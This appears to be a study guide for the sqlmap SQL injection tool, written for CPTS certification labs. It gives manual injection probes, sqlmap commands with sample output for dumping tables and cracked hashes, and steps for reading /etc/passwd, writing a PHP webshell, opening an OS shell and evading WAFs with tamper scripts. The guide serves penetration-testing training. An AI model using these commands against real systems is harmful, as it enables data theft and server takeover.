sqlmap
Automated SQL injection detection and exploitation tool. Identifies injection points, determines the database type, dumps data, and can even get an OS shell. The standard tool for going from "this parameter might be injectable" to full database compromise.
What is it?
sqlmap automates the entire SQL injection attack lifecycle. When you suspect a web parameter is vulnerable to SQLi (because you tested ' and got an error, or because a time delay worked), sqlmap takes over. It:
- Identifies the injection type: Union, boolean blind, time blind, error-based, stacked queries
- Fingerprints the database: MySQL, MSSQL, PostgreSQL, Oracle, SQLite
- Enumerates the database: lists databases, tables, columns, then dumps data
- Escalates access: reads files from the server, writes files, gets OS command execution
sqlmap tests six injection techniques (boolean-based, error-based, UNION, stacked queries, time-based, and inline queries) against the major database platforms. It handles encoding, session cookies, and anti-CSRF tokens, and its tamper scripts help with WAFs and input filters.
sqlmap is loud: it sends hundreds or thousands of requests testing various payloads. On CPTS and real engagements, find the injection point manually first using Burp Suite Repeater. Confirm that ' causes an error or that a time-based payload works. Then point sqlmap at the confirmed parameter. This approach is faster, stealthier, and teaches you more.
Run this first
Save the request from Burp to a file, then give that file to sqlmap. A saved request keeps the cookies, headers and body exactly as the browser sent them.
$ sqlmap -r request.txt --batch
-r request.txtreads the full HTTP request from a file.--batchaccepts the default answer to every question, so sqlmap does not stop to ask.
If you already know which parameter is injectable, add -p name to test only that one. Start at the default level and risk (both 1) and raise them only when nothing is found.
When do you use it?
After you've manually identified a potential SQL injection point:
- A parameter causes SQL errors:
id=1'returns "You have an error in your SQL syntax" - Boolean differences:
id=1 AND 1=1vsid=1 AND 1=2return different pages - Time-based response:
id=1; WAITFOR DELAY '0:0:5'--causes a 5-second delay - You found a complex injection: the request has cookies, headers, or POST data that make manual exploitation tedious
- Error-based:
id=1'triggers an SQL syntax error in the response - Union-based:
id=1 UNION SELECT NULL--changes the response (add NULLs until columns match) - Boolean:
id=1 AND 1=1shows normal page,id=1 AND 1=2shows different page - Time:
id=1; WAITFOR DELAY '0:0:5'--(MSSQL) orid=1' AND SLEEP(5)--(MySQL) causes delay
Using -r for request files
The most reliable way to use sqlmap is to save a request from Burp Suite to a file, then pass it with -r. This preserves all headers, cookies, and POST data exactly as the application expects.
POST /login HTTP/1.1
Host: 10.10.10.10
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=abc123def456
Content-Length: 32
username=admin&password=test123
# Test all parameters in the request file $ sqlmap -r request.txt # Test only a specific parameter $ sqlmap -r request.txt -p username # Specify the injection point with * in the request file: # username=admin*&password=test123 # sqlmap will inject payloads where the * is
In Burp Suite Proxy History or Repeater: right-click the request → "Copy to file" → save as request.txt. This captures everything: headers, cookies, POST body, content type. No need to manually reconstruct the request with curl flags.
--risk and --level tuning
These two flags control how aggressively sqlmap tests for injection. Start low, increase if nothing is found.
| Flag | Value | What it adds |
|---|---|---|
--level | 1 (default) | Tests GET/POST parameters with basic payloads |
--level | 2 | Also tests Cookie values |
--level | 3 | Also tests User-Agent and Referer headers |
--level | 4-5 | More payloads per parameter; level 5 also tests the Host header |
--risk | 1 (default) | Safe payloads only (no data modification) |
--risk | 2 | Adds heavy time-based payloads |
--risk | 3 | Adds OR-based payloads (can modify/delete data!) |
# Start with defaults: fast, safe $ sqlmap -r request.txt # Nothing found? Increase level to check cookies and headers $ sqlmap -r request.txt --level 3 # Still nothing? Try heavier payloads $ sqlmap -r request.txt --level 5 --risk 2 # Last resort (careful: risk 3 can modify data) $ sqlmap -r request.txt --level 5 --risk 3
--risk 3 adds OR-based payloads like OR 1=1. In an UPDATE or DELETE query, this can modify or delete every row in the table. On a real engagement, never use risk 3 without explicit permission and a database backup. On CPTS lab boxes, it's fine.
Key flags for exploitation
# Step 1: Identify the injection and database type $ sqlmap -r request.txt --batch [INFO] the back-end DBMS is MySQL <-- confirmed, now you know which --dbms flags and payloads apply [INFO] fetching banner web server operating system: Linux Ubuntu back-end DBMS: MySQL >= 5.0.12 # Step 2: List databases $ sqlmap -r request.txt --dbs available databases [3]: [*] information_schema [*] mysql [*] webapp_db # Step 3: List tables in the target database $ sqlmap -r request.txt -D webapp_db --tables Database: webapp_db [3 tables] +----------+ | users | | sessions | | products | +----------+ # Step 4: List columns in the users table $ sqlmap -r request.txt -D webapp_db -T users --columns Database: webapp_db Table: users [4 columns] +----------+-------------+ | Column | Type | +----------+-------------+ | id | int(11) | | username | varchar(50) | | password | varchar(64) | | role | varchar(20) | +----------+-------------+ # Step 5: Dump the data $ sqlmap -r request.txt -D webapp_db -T users --dump +----+----------+------------------------------------------+-------+ | id | username | password | role | +----+----------+------------------------------------------+-------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | <-- sqlmap already cracked it, rockyou-weak | 2 | jsmith | e10adc3949ba59abbe56e057f20f883e (123456) | user | +----+----------+------------------------------------------+-------+
Getting a shell
# Get an OS command shell (requires FILE privilege or stacked queries) $ sqlmap -r request.txt --os-shell os-shell> whoami www-data <-- code execution confirmed, low-priv web user os-shell> id uid=33(www-data) gid=33(www-data) groups=33(www-data) # Read a file from the server $ sqlmap -r request.txt --file-read="/etc/passwd" # Write a webshell (requires FILE privilege + writable web directory) $ sqlmap -r request.txt --file-write="shell.php" --file-dest="/var/www/html/shell.php"
If the database is MSSQL and you have sa-level access, sqlmap can enable and use xp_cmdshell for direct OS command execution. Use --os-shell and sqlmap handles the rest. This is a common CPTS path: find SQLi → get MSSQL shell → pivot to AD.
Tamper scripts
Tamper scripts modify payloads to bypass WAFs (Web Application Firewalls) and input filters. Use them when standard payloads are being blocked.
# Space-to-comment bypass (replaces spaces with /**/) $ sqlmap -r request.txt --tamper=space2comment # URL encoding $ sqlmap -r request.txt --tamper=charencode # Chain multiple tamper scripts $ sqlmap -r request.txt --tamper=space2comment,between,randomcase # List available tamper scripts $ sqlmap --list-tampers
| Tamper script | What it does | Useful against |
|---|---|---|
space2comment | Replaces spaces with /**/ | WAFs that filter spaces |
between | Replaces > with NOT BETWEEN 0 AND | Filters blocking comparison operators |
randomcase | Randomizes keyword case (sElEcT) | Case-sensitive keyword filters |
charencode | URL-encodes all characters | Basic input sanitization |
equaltolike | Replaces = with LIKE | Filters blocking equals sign |
Manual SQLi to sqlmap workflow
The proper workflow for CPTS: find it manually, then automate with sqlmap.
# 1. Browse the site in Burp Suite, identify input points # 2. In Repeater, test for injection: GET /search?q=test' HTTP/1.1 → SQL error? Possible injection! GET /search?q=test' OR 1=1-- → Different response? Boolean-based! GET /search?q=test' AND SLEEP(5)-- → 5s delay? Time-based! # 3. Save the vulnerable request from Burp (right-click → Copy to file) # 4. Run sqlmap with the saved request $ sqlmap -r request.txt -p q --batch --dbs # 5. sqlmap confirms the injection and enumerates databases # 6. Dump interesting tables $ sqlmap -r request.txt -p q -D webapp -T users --dump # 7. Try for a shell if needed $ sqlmap -r request.txt -p q --os-shell
Common mistakes
- Running sqlmap without manual verification first: On CPTS you need to show you understand SQLi, not just run a tool. Find the vuln manually, then use sqlmap to exploit it
- Not using
-r: Manually constructing the request with-uand--datais error-prone. Save from Burp with-revery time - Forgetting
--batch: Without it, sqlmap asks dozens of interactive questions.--batchaccepts defaults automatically - Starting at high risk/level:
--level 5 --risk 3is slow and potentially dangerous. Start at defaults, escalate only if nothing is found - Not specifying
-p: Testing all parameters wastes time. If you know which parameter is injectable, tell sqlmap with-p paramname - Ignoring session management: If the app uses CSRF tokens or requires a specific session flow, use
--csrf-tokenor the--second-urlflag - Dumping everything:
--dump-alltakes forever and triggers alerts. Target specific databases and tables
Check yourself
Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.
Why find the injection by hand before you run sqlmap on CPTS?
Why use -r with a saved request and not -u with --data?
What do --level and --risk control, and what are their defaults?
Why is --level 5 --risk 3 a poor place to start?
sqlmap stops to ask question after question. What flag do you add?
--batch, which accepts the default answer every time.The application uses an anti-CSRF token. What can you use?
--csrf-token, or --second-url for flows that need a second request.